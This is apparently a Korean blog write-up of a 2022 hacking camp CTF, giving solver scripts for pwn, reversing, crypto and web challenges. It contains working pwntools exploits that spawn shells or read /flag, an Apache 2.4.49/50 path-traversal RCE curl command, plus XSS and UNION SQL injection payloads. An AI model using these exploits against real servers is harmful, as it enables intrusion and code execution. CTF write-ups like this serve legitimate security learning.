본문 바로가기
CTF

(CTF) hacking camp CTF 24th writeup

by snwo 2022. 2. 24.

(미스크, 포렌식, 기타 쉬운문제 제외한 간단 writeup)

 

 

invitation

from pwn import *

r=remote("ctf-hackingcamp.com",10319)
context.arch='i386'
b=ELF("./invitation")
pay=b'x'*0x18
pr=0x0804836d
pay+=p32(b.sym['CODE'])
r.sendafter("code : ",asm(shellcraft.i386.linux.sh()))
r.sendlineafter("password : ",pay)
r.interactive()

NX 가 꺼져잇어서 code 에 쉘코드넣고 해당위치로 리턴.

shell

execve 가 seccomp 걸려있었다.

도커파일있는줄 모르고 계속 getdents 로 읽어올려했는데 알고보니 /flag 에 있어서

편한 shellcraft 이용해서 orw

from pwn import *

r=remote("ctf-hackingcamp.com",14350)
context.log_level='debug'
context.arch='amd64'
sc=''
sc+=shellcraft.open("/flag")
sc+=shellcraft.read(3,'rsp',0x200)
sc+=shellcraft.write(1,'rsp',0x200)
sc=asm(sc)
r.send(sc)
r.interactive()

ssmash

마찬가지로 NX 가 꺼져있지만, canary 가 있어서

oob read 한 뒤, 쉘코드 적고 출력되는 buf 주소로 리턴

from pwn import *

r=remote("ctf-hackingcamp.com", 10305)
context.log_level='debug'
context.arch="amd64"
r.recvuntil("buf = ")
buf=int(r.recvline().strip(),16)
log.info(hex(buf))
r.sendafter("> ",b"ASMR")
pay=asm(shellcraft.sh())
pay=pay.ljust(0x88,b'\x90')
pay+=p64(buf)

r.sendlineafter("> ",pay)

r.interactive()

simple pwn

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int index; // [rsp+Ch] [rbp-34h] BYREF
  char buf[32]; // [rsp+10h] [rbp-30h] BYREF
  void *v5; // [rsp+30h] [rbp-10h]
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setup();
  while ( 1 )
  {
    puts("1. memo");
    puts("2. exit");
    printf("> ");
    __isoc99_scanf("%d", &index);
    if ( index != 1 )
      break;
    v5 = malloc(0x18uLL);
    printf("Name : ");
    read(0, buf, 0x28uLL);
    printf("Memo : ");
    read(0, v5, 8uLL);
    puts(buf);
  }
  exit(1);
}

처음에는 좀 당황해서 멍때리고 있다가

buf 주소에 dl_fini 남아있길래 그거 릭해서 쉘땄는데 당연하게도 리모트는 안됐다.

그래서 어떻게 릭할지 생각해보다가

puts(buf)

이 부분을 보고, printf@plt 으로 got overwrite 해서 FSB 를 이용해 leak 해야겠다고 떠올랐다.

릭한 뒤, puts 를 system 함수 주소로 바꾸고 buf 에 /bin/sh 줘서 쉘 실행

from pwn import *

r=remote("ctf-hackingcamp.com", 40020 )
lib=ELF("./libc-2.23.so")
# r=process("./simplepwn")
b=ELF("./simplepwn")
# lib=b.libc
context.log_level='debug'
r.sendlineafter("> ",b"1")
r.sendafter("Name : ",b'x'*0x20+p64(b.got['puts']))
r.sendafter("Memo : ",p64(b.plt['printf']))
r.sendlineafter("> ",b"1")
r.sendafter("Name : ",b'%15$p')
pause()
r.sendafter("Memo : ",b'xx')

libc=int(r.recv(2*7),16)-lib.sym['__libc_start_main']
libc=libc&0xfffffffffffff000
print(hex(libc))
r.sendlineafter("> ",b"1")
r.sendafter("Name : ",b'/bin/sh\x00'+b'x'*0x18+p64(b.got['puts']))
r.sendafter("Memo : ",p64(libc+lib.sym['system']))

r.interactive()

Baby Crack

아이다로 까보니까, 각 글자에서 더하거나 빼는 것을 볼 수 있는데,

khngEe 에서 다시 빼거나 더해서 된다.

Basecamp

seeds=[1645021014]
import ctypes
for seed in seeds:
    libc=ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
    libc.srand(seed)
    s=list('0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasd+/fghjklzxcvbnm')
    rs=[]
    for i in range(len(s)+1):
        v4=libc.rand()%len(s)
        v5=libc.rand()%len(s)
        tmp=s[v4]
        s[v4]=s[v5]
        s[v5]=tmp
    table=s
    enc  = open("out.txt").read()
    def decode(text):
        bins = str()
        out=['0']*len(text)
        for c in text:
            if c == '=':
                bins += '000000'
            else:
                bins += format(table.index(c),'06b')
        c=0
        for i in range(0,len(bins),8*3):
            try:
                out[c]=chr(int(bins[i:i+8],2))
                out[c+1]=chr(int(bins[i+8:i+16],2))
                out[c+2]=chr(int(bins[i+16:i+24],2))
            except:
                break
            c+=3
        return out
    print(''.join(decode(enc.strip())))

srand(time(0)) 한 뒤,

rand() 위치에 있는 base64 테이블을 길이+1번 섞는다.

out.txt 에서 수정시간을 epoch 시간으로 바꾼 다음, 그 값을 seed 로 사용해서

flag 를 암호화할 때 사용한 base64 테이블을 구할 수 있다.

이제 out.txt 에서 모든 값들을 6자리 2진수로 변환해서 붙인 뒤

8글자씩 잘라서 문자화 하면 된다.

HCAMP{R4nd0_m_t4b1e_b4_s3_64}

Encryptor

l=[99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]
with open("out.txt","rb") as f:
    d=f.read()
    for i in range(0,len(d),2):
        c=d[i]
        # print(c)
        if l.index(c)>32 and l.index(c) <127 and l.index(c)!=ord('0'):
            print(f"{chr(l.index(c))*d[i+1]}",end='')

암호화 할 값을 table 의 index 로 하여 문자를 가져오고, 다음 바이트에 그 문자가 반복되는 횟수를 적는다.

table 이 invere 가능하기 때문에, out.txt 에서 해당 문자의 index 를 가져와 다음 바이트만큼 곱해주면 된다.

Apache

전에 2.4.49 path traversal 이 CTF 에 나온 적이 있다.

curl ‘https://ctf-hackingcamp.com:4088//cgi-bin/.%2e/.%2e/.%2e/.%2e/this_is_flag’

Apache v2

패치된버전에서 일어날 수 있는 취약점인데,

더블인코딩으로 우회할 수 있다

https://www.youtube.com/watch?v=WSVcuV2Wc58

이 유튜부 참고해서 RCE 해주면 된다.

curl -X POST -v --path-as-is 'http://ctf-hackingcamp.com:4089/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' -d 'echo;cat /flag'

simple php

https://github.com/mm0r1/exploits/blob/master/php-concat-bypass/exploit.php

웹쉘을 LFI 로 실행시킬 수 있지만, phpinfo 를 보면, disable function 이 엄청나게 많기 때문에

원데이 이용해서 RCE

memo

난독화된 자바스크립트 함수가 있는데,

flag 변수가 1이면 실행된다.

xss 발생하길래 <script>flag=1</script> 넣어봤더니 파일명 출력되고 flag 가 있었다.

합격자 발표

1" union select * from prob limit 5,6#
1" union select * from prob limit 6,6#
...

union select 취약점 이용해서 멤버 하나씩 불러오면,

플래그가 있다. concat 로 모든멤버 불러오는방법도 있더라